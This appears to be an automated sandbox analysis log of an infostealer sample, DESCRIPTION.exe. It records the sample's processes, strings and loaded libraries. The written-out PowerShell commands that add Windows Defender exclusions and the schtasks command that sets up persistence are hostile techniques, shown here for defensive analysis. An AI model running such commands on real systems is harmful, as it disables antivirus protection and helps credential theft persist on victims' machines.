                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_009F42041_2_009F4204
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_009F46591_2_009F4659
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_009FE7041_2_009FE704
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_009F70881_2_009F7088
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_04B77F381_2_04B77F38
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_04B77F281_2_04B77F28
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_0699D2381_2_0699D238
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_0699DD781_2_0699DD78
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_0699DCEA1_2_0699DCEA
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_0699ED201_2_0699ED20
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_0699E8D81_2_0699E8D8
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C37681_2_069C3768
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C52011_2_069C5201
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C00401_2_069C0040
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C5AB01_2_069C5AB0
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C3B981_2_069C3B98
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C37581_2_069C3758
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C45901_2_069C4590
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C45801_2_069C4580
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069CD5101_2_069CD510
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C35701_2_069C3570
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C35621_2_069C3562
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C32F81_2_069C32F8
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C32E81_2_069C32E8
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C60991_2_069C6099
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069CD0B81_2_069CD0B8
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C30D81_2_069C30D8
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069CD0D81_2_069CD0D8
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C30C81_2_069C30C8
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C41381_2_069C4138
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C41481_2_069C4148
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C1E981_2_069C1E98
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C1E881_2_069C1E88
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C3DF01_2_069C3DF0
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C3DE01_2_069C3DE0
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069CED501_2_069CED50
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069CFAFA1_2_069CFAFA
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C2A481_2_069C2A48
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C4A411_2_069C4A41
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069C2A421_2_069C2A42
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069CFB081_2_069CFB08
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeCode function: 1_2_069CD9481_2_069CD948
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0114420410_2_01144204
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_011425D810_2_011425D8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0114E70410_2_0114E704
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0114708810_2_01147088
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0561D24810_2_0561D248
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0561DD7810_2_0561DD78
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0561D23810_2_0561D238
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0561ED2010_2_0561ED20
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0561ED3010_2_0561ED30
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0561DCD810_2_0561DCD8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0561E8E810_2_0561E8E8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_0561E8D810_2_0561E8D8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3376810_2_06F33768
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3521010_2_06F35210
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3004010_2_06F30040
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F35AC010_2_06F35AC0
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F33BA810_2_06F33BA8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3375810_2_06F33758
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3459010_2_06F34590
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3458010_2_06F34580
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3357010_2_06F33570
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3356110_2_06F33561
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3D51010_2_06F3D510
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F332F810_2_06F332F8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F332E810_2_06F332E8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3520110_2_06F35201
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3D0D810_2_06F3D0D8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F330D810_2_06F330D8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F330C810_2_06F330C8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3D0B810_2_06F3D0B8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F360A810_2_06F360A8
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3609910_2_06F36099
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3000610_2_06F30006
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3414810_2_06F34148
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3413810_2_06F34138
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F31E9810_2_06F31E98
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F31E8810_2_06F31E88
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F33DF010_2_06F33DF0
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F33DE010_2_06F33DE0
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3ED5010_2_06F3ED50
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3FAFA10_2_06F3FAFA
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F35AB010_2_06F35AB0
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F34A5010_2_06F34A50
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F34A4110_2_06F34A41
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F32A4610_2_06F32A46
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F32A4810_2_06F32A48
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F33B9810_2_06F33B98
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3FB0810_2_06F3FB08
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeCode function: 10_2_06F3D94810_2_06F3D948
                      Source: DESCRIPTION.exe, 00000001.00000002.1501721613.0000000003CF2000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamedevourment.exe vs DESCRIPTION.exe
                      Source: DESCRIPTION.exe, 00000001.00000002.1501721613.0000000003CF2000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMontero.dll8 vs DESCRIPTION.exe
                      Source: DESCRIPTION.exe, 00000001.00000002.1518760161.00000000068EF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamejoip.exe< vs DESCRIPTION.exe
                      Source: DESCRIPTION.exe, 00000001.00000000.1459726578.00000000001CE000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamejoip.exe< vs DESCRIPTION.exe
                      Source: DESCRIPTION.exe, 00000001.00000002.1518561386.0000000006860000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameCaptive.dll" vs DESCRIPTION.exe
                      Source: DESCRIPTION.exe, 00000001.00000002.1520866419.000000000AD50000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameMontero.dll8 vs DESCRIPTION.exe
                      Source: DESCRIPTION.exe, 00000001.00000002.1498425267.000000000068E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs DESCRIPTION.exe
                      Source: DESCRIPTION.exeBinary or memory string: OriginalFilenamejoip.exe< vs DESCRIPTION.exe
                      Source: DESCRIPTION.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                      Source: DESCRIPTION.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                      Source: OdoiXyuXnaQN.exe.1.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                      Source: DESCRIPTION.exe, 00000009.00000002.2715154991.0000000000448000.00000040.00000400.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715156422.0000000000442000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: (K@*\AC:\Users\ik\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp
                      Source: OdoiXyuXnaQN.exeBinary or memory string: *\AC:\Users\ik\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp
                      Source: DESCRIPTION.exe, 00000001.00000002.1501721613.0000000003CF2000.00000004.00000800.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, OdoiXyuXnaQN.exe, 00000010.00000002.2715156422.0000000000403000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: D*\AC:\Users\ik\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp
                      Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@23/69@0/2
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeJump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeMutant created: NULL
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4132:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5992:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2056:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6700:120:WilError_03
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile created: C:\Users\user\AppData\Local\Temp\tmp9A10.tmpJump to behavior
                      Source: DESCRIPTION.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                      Source: DESCRIPTION.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: OdoiXyuXnaQN.exeBinary or memory string: SELECT item1 FROM metadata WHERE id = 'password';
                      Source: LogfisslehbQlYkgroFYogLHXZKSUzhGekoogWGBPjtfAuuepjaXbgfishfall.9.drBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                      Source: DESCRIPTION.exeVirustotal: Detection: 33%
                      Source: DESCRIPTION.exeReversingLabs: Detection: 31%
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeFile read: C:\Users\user\Desktop\DESCRIPTION.exeJump to behavior
                      Source: unknownProcess created: C:\Users\user\Desktop\DESCRIPTION.exe "C:\Users\user\Desktop\DESCRIPTION.exe"
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe"
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmp9A10.tmp"
                      Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Users\user\Desktop\DESCRIPTION.exe "C:\Users\user\Desktop\DESCRIPTION.exe"
                      Source: unknownProcess created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmpAB27.tmp"
                      Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DESCRIPTION.exe"Jump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"Jump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmp9A10.tmp"Jump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess created: C:\Users\user\Desktop\DESCRIPTION.exe "C:\Users\user\Desktop\DESCRIPTION.exe"Jump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OdoiXyuXnaQN" /XML "C:\Users\user\AppData\Local\Temp\tmpAB27.tmp"
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeProcess created: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe "C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe"
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: apphelp.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: version.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: dwrite.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: windowscodecs.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: textshaping.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: edputil.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: wintypes.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: appresolver.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: bcp47langs.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: slc.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: sppc.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeSection loaded: ntmarta.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
